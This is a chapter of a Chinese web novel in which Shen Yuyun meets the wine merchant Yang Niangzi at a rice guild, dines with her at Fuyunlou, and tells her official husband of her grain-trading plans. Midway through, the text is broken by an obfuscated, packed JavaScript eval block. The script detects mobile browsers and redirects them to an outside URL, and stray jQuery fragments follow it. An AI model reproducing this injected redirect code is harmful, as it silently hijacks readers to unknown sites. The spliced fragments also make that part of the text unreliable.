36. 再遇杨娘子

作品:《清正权臣为爱发疯后

    沈玉蕴脸上笑意不减,心中却在暗讽,看来她刚才那番话薛行老只听进去了一半,依旧把她看成冤大头。


    一年五十贯,三年就是一百五十贯,梅澜清任知州时,每月俸禄也不过百贯,这还是加上了地方职田收入和公使钱。


    如今梅澜清入京做官,地方职田收入和公使钱这部分自然也就没有了。乐观估计每月俸禄也就三十贯左右。


    一百五十贯对他们来说,着实是一笔大开销。


    “一百五十贯?许久不见,薛行老真是威风见长啊。”


    一个清朗的女声从街口传来,沈玉蕴转身望去,瞧着那穿着大红色褙子的艳丽娘子出了神。


    那娘子有一双深邃凌冽的凤眸,轻轻一扫,便让在场的嘈杂瞬间归于静默。


    杨娘子站在沈玉蕴身侧,个子竟和周边的男子差不多高,也更显得气势逼人。


    沈玉蕴在陌生的汴京街头遇到杨娘子,自是欣喜万分。她口中的话还没来得及说出来,就被杨娘子悄悄捏了下手背。


    她顺着杨娘子的目光看向薛行老,不再言语。


    薛行老见她来,赶忙起了身,行了一礼道:“杨娘子突然来造访,我这米行真是蓬荜生辉。”


    杨娘子看了眼沈玉蕴,又将目光转向薛行老,眼神冷了下来:“我可当不起。整个汴京可不止薛行老这一个米行,别的米行行例钱也不过三贯,薛行老却一张口就是五十贯。如此漫天要价,这是要绝了我们这些新人的路啊。”


    薛行老脸色一僵,赶忙道:“不敢不敢。杨娘子要想做米行生意,我自会把行帖双手奉上。”


    这位杨娘子的来历,旁人不知道,可他混迹汴京这么久,自然是听过的。


    她做的酒业生意,在汴京是头一份的,除主要的浮云楼外,另有几十家脚店,遍布汴京各坊巷。


    她的浮云楼,是汴京最著名的酒楼,是无数达官贵人宴饮谈笑的首选之地。


    若只是个生意人,薛行老也用不着如此忌惮。


    关键在于,传言说这位杨娘子出身官宦之家,也和皇室中人关系紧密。毕竟浮云楼上面那鎏金牌匾,就是官家御赐。


    面对这种身份显赫之人,薛行老自然客气万分。


    杨娘子却一把搂住沈玉蕴的肩膀:“这是我妹子。不知她能不能有幸在薛行老的行会做生意?”


    薛行老用袖子擦了擦自己脸上的虚汗,弓着腰殷勤道:“既是杨娘子的妹子,薛某自然随时欢迎。”


    沈玉蕴和怜雪对视了一眼,都从对方眼中看出了诧异与惊喜。


    薛行老又说:“只是这行帖需要官府印章,劳烦这位娘子给个住处,薛某到时让人送去,就不劳烦娘子再跑一趟。”


    沈玉蕴留下了客栈的地址,又示意怜雪按规矩给了三贯钱。


    这次反倒是薛行老不敢收了,他看向杨娘子,眼神有些犹豫:“这......”


    杨娘子点头:“我妹子诚心做生意,薛行老还是收了吧,免得回头议论我以势压人。”


    薛行老说了两声:“不敢不敢。”倒也不再推辞,将那三贯钱收下。


    杨娘子和沈玉蕴走出了街道,有一辆朱漆四望车正停在街道入口。


    沈玉蕴跟着杨娘子上了马车,车厢比她想象的要更宽敞,车底铺了厚毡,面椅上铺着杏黄色坐垫。


    车窗被支开,街市的喧嚣与盛夏的气息一齐灌进来。


    杨娘子拿起小几上的青瓷茶壶为她倒了杯茶倒了杯茶,说:“说说吧,你什么时候来的汴京,又为何出现在米行?”


    沈玉蕴端起同色系青瓷茶杯抿了一口,想把这个话题遮掩过去:“说来话长,等日后有机会再和娘子细聊。这是什么茶?怪好喝的。”


    杨娘子看穿她故意岔开话题,支着头乐了:“不用日后,我带你去浮云楼吃个午饭,这中间的时间够你交代清楚了。”


    沈玉蕴默默放下茶盏。


    不一会儿,马车停了下来,巍峨壮丽的浮云楼就这样出现在几人面前。


    浮云楼三层相高,五楼相向,各有飞桥栏槛,明暗相通,珠帘绣额,灯烛晃耀。【1】


    初见浮云楼的人,很难不被它的繁华与恢宏所倾倒。


    沈玉蕴掩住心中的震惊,凑近杨娘子:“这酒楼是娘子的产业?”


    杨娘子瞥了她一眼,脸上却没有被夸赞的喜悦,只是道:“跟着来。”


    一进酒楼,立刻便有几个面容清秀的男子迎了上来,向杨娘子行过礼后,跟在几人身后。


    杨娘子带着沈玉蕴径直进了三楼最东侧的一个雅间,一众人跟着进去,有人煮水点茶,有人问杨娘子要吃点什么,有人去窗格前将窗户撑开,任由清新且热闹的空气飘散进来。


    那热情且熟练的招待让沈玉蕴以及怜雪看得一愣一愣的。


    杨娘子随意点了几个菜名便让众人退下。


    连带着怜雪,以及一直在暗处保护沈玉蕴的墨扬,都被客气地请了出去。


    杨娘子慢悠悠喝着茶,那双凤眸却紧盯着沈玉蕴:“现在有大把时间,从头开始说。”


    沈玉蕴:“......”


    眼看瞒不过去,又想到日后她在汴京做生意也有可能会与杨娘子打交道,沈玉蕴便将上京前后的事简短说了。


    听见她成婚的事,杨娘子倒并不惊讶,她说:“今日见你梳着妇人发髻我就猜到了。那人可是你当日说的要报恩之人?”


    沈玉蕴刚点了点头,突然想起在曹娥江时,杨娘子问过她去信州是偿恩还是偿情。


    她当时斩钉截铁地说梅澜清是她的恩人。


    谁知再见,她已然和梅澜清成了婚。


    杨娘子却一点意外都没有,放下茶杯道:“这世间之事,本也算不了那么清的。更何况男女之间,更是千丝万绪,理也理不清。”


    “这事就算过了。还有一事,为何突然想做粮食生意?”


    沈玉蕴犹疑了片刻,见怜雪他们不在,便将真实的目的说了,只掩盖了父亲一事。


    杨娘子只瞧着她笑:“沈玉娘,看来这几年,你的确是没怎么变。”


    “不过,若是你那夫婿的俸禄只够糊口,你还是趁早和离二嫁吧。”


    沈玉蕴正在喝茶,听杨娘子这么一说,猝不及防被一口茶呛到,咳的脸上和耳廓都染了红晕。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232735|196346||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>杨娘子递了帕子给她,一边为她拍背一边嫌弃道:“出息。”


    沈玉蕴缓了好一会儿才道:“我夫君为官清廉,为人正直,且对我有恩。若夫君不提和离,我是不会轻易和夫君分开的。”


    她甫一抬头,却撞见了杨娘子那双深邃的眸子。


    不像平日般凌冽,也不像调侃她时那般轻佻,而是带着些许惆怅,以及她辨不清的复杂感情。


    还不待沈玉蕴多问,雅间门响,一道道精美菜肴端了上来,打断了她的思绪。


    一顿饭后,杨娘子特意派人把沈玉蕴几人送回了客栈。


    直到夜间,梅澜清才穿着官服回了客栈。


    沈玉蕴正要与他说白日的事,顺便商量商量她想做粮食生意一事。


    但见他神色倦怠,似乎是白日里朝事太过劳累,便为他斟了杯茶问:“可是今日面圣不顺利?”


    梅澜清摇摇头,他看向沈玉蕴,她白净秀丽的面容在低声问候时显得格外温柔。


    他冷淡的眸中映入跳跃的昏黄烛火,添了丝人间烟火气。


    飘忽了一下午的心神似乎终于找到了主心骨,梅澜清长臂一身,将刚放下茶壶的沈玉蕴猛地拉进怀里。


    感受着沈玉蕴身上的荷香味萦绕鼻尖,梅澜清空荡的心似终于被填满。


    他埋首在沈玉蕴颈窝处,轻轻叹息一声:“玉娘......”


    沈玉蕴隐隐感受到他反常的神色动作中透出的不安情绪,抬手缓缓抚了抚他的脊背。


    梅澜清动作一僵,随即将她抱的更紧。


    好一会儿,梅澜清才放开她,将她有些许凌乱的发丝别在耳后,笑着问:“玉娘今日可逛得开心?”


    沈玉蕴想他今日心情不大好,便想逗一逗他:“郎君不妨猜猜我今日买了什么?”


    “可是吃食?”


    沈玉蕴点点头。


    “糕点?”


    以前在信州,沈玉蕴也时常买糕点带回府中。


    但这次,显然猜错了。


    “不对。”


    沈玉蕴从他怀中起身,将买的一小袋大米给他看。


    梅澜清抓了抓圆润的米,神色带了些困惑:“这米成色倒不错。不过为何突然买了米?”


    据他所知,玉娘其实是不爱下厨的。


    她以前日日给他做糕点,大抵是对他的感激之情。


    后来,自从去李大儒那里当了侍读后,便再也没下过厨。


    起初他只以为是她没时间做,后来他提了几次想吃她做的糕点,玉娘脸上却露出了些许为难来,话里更是明里暗里让他叫人去街上买。


    那时他便猜到,玉娘大抵是不爱下厨的。


    后来从岳父专门寄给他的信里,也说过沈玉蕴小时聪慧,做糕点做女红都学得极快,琴棋书画也都会一些,只是不喜欢。


    沈玉蕴一双杏眸中含着亮晶晶的期待,直勾勾盯着梅澜清:“我日后想在汴京做粮食生意。今日出门时本来只打算去米行打听打听行情,这才买了一小袋米。”


    “不过,我已经拿到行会的行帖了。那行会的行首说,改天等官府盖完章,他会将行帖直接送来。”